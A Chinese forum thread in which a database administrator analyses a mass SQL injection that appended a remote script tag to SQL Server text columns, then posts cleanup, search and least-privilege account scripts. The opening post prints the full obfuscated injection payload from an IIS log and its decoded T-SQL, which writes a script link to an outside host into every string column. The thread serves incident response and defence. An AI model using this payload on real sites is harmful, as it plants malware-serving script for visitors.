author:perfectaction
date  :2009.05从去开始,有很多网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入"></title><script src=http://s.see9.us/s.js><或是3b3.org等字符我也遇到过,通过分析iis日志,搜索"Update%20",找到很多,如:
2008-**-** 00:17:54 59.39.69.146 - W3SVC1 80 GET show.asp id=8826;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20select%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20where%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('Update%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 302 0 HTTP/1.1 211.68.23.76 Mozilla/4.0 - -这段代码我还原后如下:
declare  @t  varchar(255),@c  varchar(255)  
declare  table_cursor  cursor  for  
select  a.name,b.name  from  sysobjects  a,syscolumns  b  
where  a.iD=b.iD  AnD  a.xtype='u'  
AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167)  open  table_cursor  fetch  next  from  table_cursor  
into  @t,@c  
while(@@fetch_status=0)  
begin  
    print('update  [' + @t + ']  set  [' + @c + ']=rtrim(convert(varchar,[' + @c + '])) + cast(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D  aS  varchar(67))')  
    fetch  next  from  table_cursor  into  @t,@c  
end  
close  table_cursor  deallocate  table_cursor;
实事上,上面的print实际为exec..其原理就是通过遍历所有的表中的字符类型字段,然后update其内容,加上攻击者的字符.同理,若要去掉这些字符,也可以利用上面的代码:
declare  @t  varchar(255),@c  varchar(255)  
declare  table_cursor  cursor  for 
select  a.name,b.name  from  sysobjects  a,syscolumns  b  
where  a.iD=b.iD  AnD  a.xtype='u'
AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167)  
declare @str varchar(500)
--这里是你要替换的字符
set @str='"></title><script src=http://s.see9.us/s.js></script><!--'
open  table_cursor  fetch  next  from  table_cursor 
into  @t,@c  while(@@fetch_status=0)
begin
    exec('update  [' + @t + ']  set  [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')      
    fetch  next  from  table_cursor  into  @t,@c
end
close  table_cursor  deallocate  table_cursor; 
但事实上,攻击者在update数据库字段时,是采用先截取再加他自己字符的方法,所以对于text/ntext类型,如果你原来的字段内的字符>8000的话,已经无法全部还原成最初状态了.
往往我们还需要看下其它数据库有没有同样被攻击,我写了如下代码:
--查某个指定字符出现在哪些表哪些字段:
declare @searchstr nvarchar(500)
set @searchstr ='3b3.org' --这里是你要查的字符内容
declare @t  varchar(255),@c  varchar(255) 
create table # (name varchar(256),cols varchar(4000))
declare  table_cursor  cursor  for
select  a.name,b.name  from  sysobjects  a,syscolumns  b  ,systypes c
where  a.id=b.id  and  a.xtype='u' and b.xtype=c.xtype
and c.name in ('char','nchar','varchar','nvarchar','text','next')
open  table_cursor  fetch  next  from  table_cursor
into  @t,@c
while(@@fetch_status=0)
begin  
    exec('
    set nocount on
    if exists(select top 1 1 from  [' + @t + ']  where  cast([' + @c + '] as varchar(8000)) like ''%'+@searchstr+'%'') 
    begin 
        if not exists(select 1 from # where name='''+@t+''')
            insert into # select '''+@t+''','''+@c+'''
        else
            update # set cols=cols+'','+@c+''' where name='''+@t+'''
        --select '+@c+' from [' + @t + ']  where  [' + @c + '] like ''%'+@searchstr+'%''
    end
    ')
    fetch  next  from  table_cursor  into  @t,@c  
end
close  table_cursor  deallocate  table_cursor;
select name as '表名',cols as '列名' from #
drop table # 
这段sql可以查到你的哪些表哪些字段包含某个指定字符.
这种sql注入攻击我怀疑应该是一种工具或称为病毒,但始终没有见过,如果哪位朋友有,希望给我一份,谢谢.

解决方案 »

  1.   

    继续:针对如上的这种sql注入攻击,如果由于某些原因不能更改程序,那么提供如下解决办法:
    --创建测试库
    create database dbtest
    go
    use dbtest
    go
    --创建测试表tb_1
    create table tb_1(
    id int identity(1,1) primary key,
    col1 char(200),
    col2 varchar(300),
    col3 text,
    col4 ntext,
    col5 varchar(max)
    )
    go
    --创建测试表tb_2
    create table tb_2(
    id int identity(1,1) primary key,
    col1 char(200),
    col2 varchar(300)
    )
    go
    insert into tb_1 select 'a','b','c','d','e'
    go
    --创建测试视图
    create view v_tb_1
    as 
    select *from tb_1
    go
    --创建测试存储过程
    create proc p_tb_1
    as
    select top 1 * from tb_1 order by col2
    go
    --创建测试表值函数
    create function fn_tb_1(@id int)
    returns table
    return (select * from tb_1 where id=@id)
    go
    --创建测试标量函数
    create function fn_tb_1_1(@id int)
    returns varchar(300)
    as
    begin
    declare @col2 varchar(300)
    select @col2 = col2 from tb_1 where id=@id
    return @col2
    end
    go
    --创建login帐号及为其添加安全权限,重要
    use dbtest
    go
    set nocount on
    declare @dbname varchar(300),@username varchar(300),@pwd varchar(300)
    select @dbname=db_name(),
    @username='webuser_ dbtest',--这里是你的需要创建的新帐号
    @pwd='ExO[!g-k9EQ]#y'--这里是你的密码,要求包含数字、字母、特殊符号,长度14位.
    declare @sql varchar(max)
    declare @t table(name varchar(256)) --这个表存储你要禁止访问的系统表/视图
    insert into @t select 'sysobjects' union all select 'sys.objects ' 
    union all select 'syscolumns' union all select 'sys.columns' 
    union all select 'sys.tables' union all select 'sys.all_columns' 
    union all select 'sys.all_objects' union all select 'sys.indexes' 
    union all select 'sys.index_columns' 
    set @sql = 'use master;create login ['+ @username +'] with password = '''+@pwd+''',CHECK_EXPIRATION=OFF, CHECK_POLICY=ON'+char(13)
    set @sql = @sql + 'use ['+@dbname+']; create user ['+@username +'] for login ['+@username+'] with DEFAULT_SCHEMA =dbo'+char(13)
    select @sql = @sql + 'grant select,insert,update,delete on ['+name+'] to ['+@username+']' +char(13) from sys.tables where type='u' and is_ms_shipped !=1
    select @sql = @sql + 'grant exec on ['+name+'] to ['+@username+']' +char(13) from sys.procedures  where type='P' and schema_id=1 and is_ms_shipped !=1
    select @sql = @sql + 'grant exec on ['+name+'] to ['+@username+']' +char(13) from sys.objects  where type in ('FN') and is_ms_shipped !=1
    select @sql = @sql + 'grant select on ['+name+'] to ['+@username+']'  +char(13) from sys.objects  where type in ('TF') and is_ms_shipped !=1
    select @sql = @sql + 'grant select on ['+name+'] to ['+@username+']'  +char(13) from sys.views  where type='V' and is_ms_shipped !=1
    select @sql = @sql + 'deny select on '+name+' to ['+@username+']'  +char(13) from @t
    print(@sql)
    exec(@sql)
    /* --这里生成的创建新用户及设置权限的t-sql.
    use master;create login [webuser_dbtest] with password = 'ExO[!g-k9EQ]#y',CHECK_EXPIRATION=OFF, CHECK_POLICY=ON
    use [dbtest]; create user [webuser_dbtest] for login [webuser_dbtest] with DEFAULT_SCHEMA =dbo
    grant select,insert,update,delete on [tb_2] to [webuser_dbtest]
    grant select,insert,update,delete on [tb_1] to [webuser_dbtest]
    grant exec on [p_tb_1] to [webuser_dbtest]
    grant exec on [fn_tb_1_1] to [webuser_dbtest]
    grant select on [v_tb_1] to [webuser_dbtest]
    deny select on sysobjects to [webuser_dbtest]
    deny select on sys.objects  to [webuser_dbtest]
    deny select on syscolumns to [webuser_dbtest]
    deny select on sys.columns to [webuser_dbtest]
    deny select on sys.tables to [webuser_dbtest]
    deny select on sys.all_columns to [webuser_dbtest]
    deny select on sys.all_objects to [webuser_dbtest]
    deny select on sys.indexes to [webuser_dbtest]
    deny select on sys.index_columns to [webuser_dbtest]
    */execute as login='webuser_dbtest' --切换用户,以验证权限是否正确
    select USER_NAME()
    /*
    webuser_dbtest
    */
    select top 1 *from tb_1
    /*
    1 a  b c d e
    */
    select top 1 * from v_tb_1
    /*
    1 a  b c d e
    */
    exec p_tb_1
    /*
    1 a  b c d e
    */
    select top 1 * from sys.objects  --这里可以看到该系统表也不允许被访问
    /*
    Msg 229, Level 14, State 5, Line 1
    拒绝了对对象 'objects' (数据库 'mssqlsystemresource',架构 'sys')的 SELECT 权限。
    */
    revert --切换回dbo用户
    select USER_NAME()
    /*
    dbo
    */
    select top 1 name,object_id from sys.objects  --这里可以看到该系统表允许dbo访问
    /*
    sysrscols 3
    */经过验证,新建的帐号webuser_dbtest可以对表/视图/存储过程/函数等有访问或增删改权限或执行权限
    但没有对指定系统表/视图的select权限.
    大家可以修改我的脚本,以达到你安全设置帐号权限的目的.
    综上,用新建的帐号代替你原来的帐号,就可以避免这种遍历表/列注入攻击了.
    如有问题,欢迎指正.
      

  2.   

    修正一个地方,核心代码如下:
    use dbtest
    go
    set nocount on
    declare @dbname varchar(300),@username varchar(300),@pwd varchar(300)
    select @dbname=db_name(),
    @username='webuser_dbtest', --
    @pwd='ExO[!g-k9EQ]#y' --
    declare @sql varchar(max)
    declare @t table(name varchar(256)) 
    insert into @t select 'sysobjects' union all select 'sys.objects ' 
    union all select 'syscolumns' union all select 'sys.columns' 
    union all select 'sys.tables' union all select 'sys.all_columns' 
    union all select 'sys.all_objects' union all select 'sys.indexes' 
    union all select 'sys.index_columns' 
    set @sql = 'use master;create login ['+ @username +'] with password = '''+@pwd+''',CHECK_EXPIRATION=OFF, CHECK_POLICY=ON'+char(13)
    set @sql = @sql + 'use ['+@dbname+']; create user ['+@username +'] for login ['+@username+'] with DEFAULT_SCHEMA =dbo'+char(13)
    select @sql = @sql + 'grant select,insert,update,delete on ['+name+'] to ['+@username+']' +char(13) from sys.tables where type='u' and is_ms_shipped !=1
    select @sql = @sql + 'grant exec on ['+name+'] to ['+@username+']' +char(13) from sys.procedures  where type='P' and schema_id=1 and is_ms_shipped !=1
    select @sql = @sql + 'grant exec on ['+name+'] to ['+@username+']' +char(13) from sys.objects  where type in ('FN') and is_ms_shipped !=1
    select @sql = @sql + 'grant select on ['+name+'] to ['+@username+']'  +char(13) from sys.objects  where type in ('TF','IF') and is_ms_shipped !=1
    select @sql = @sql + 'grant select on ['+name+'] to ['+@username+']'  +char(13) from sys.views  where type='V' and is_ms_shipped !=1
    select @sql = @sql + 'deny select on '+name+' to ['+@username+']'  +char(13) from @t
    print(@sql)
    exec(@sql)
      

  3.   

    对于有clr函数的,用到的自己再添加吧.
      

  4.   

    学习了   www.tg68.cn我搞的网站  希望大家给点建议
      

  5.   

    忘记说了,这个代码是针对sql 2005/2008.另外,这个旨在建立较为安全的程序帐号设置.并针对
    "网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入"> </title> <script src=http://s.see9.us/s.js> <或是3b3.org等字符 "
    这种注入攻击而设计.
    真正的防注入,需要程序来实现。防注入的方法在当年WEB版版主小竹的文章已经明确给出解决方案,而对于网上五七八门的通用防注入代码,只能说明这些人并不明白注入攻击原理.
      

  6.   

    其实我更想知道你是怎么还原为SQL的,呵呵,弱弱的问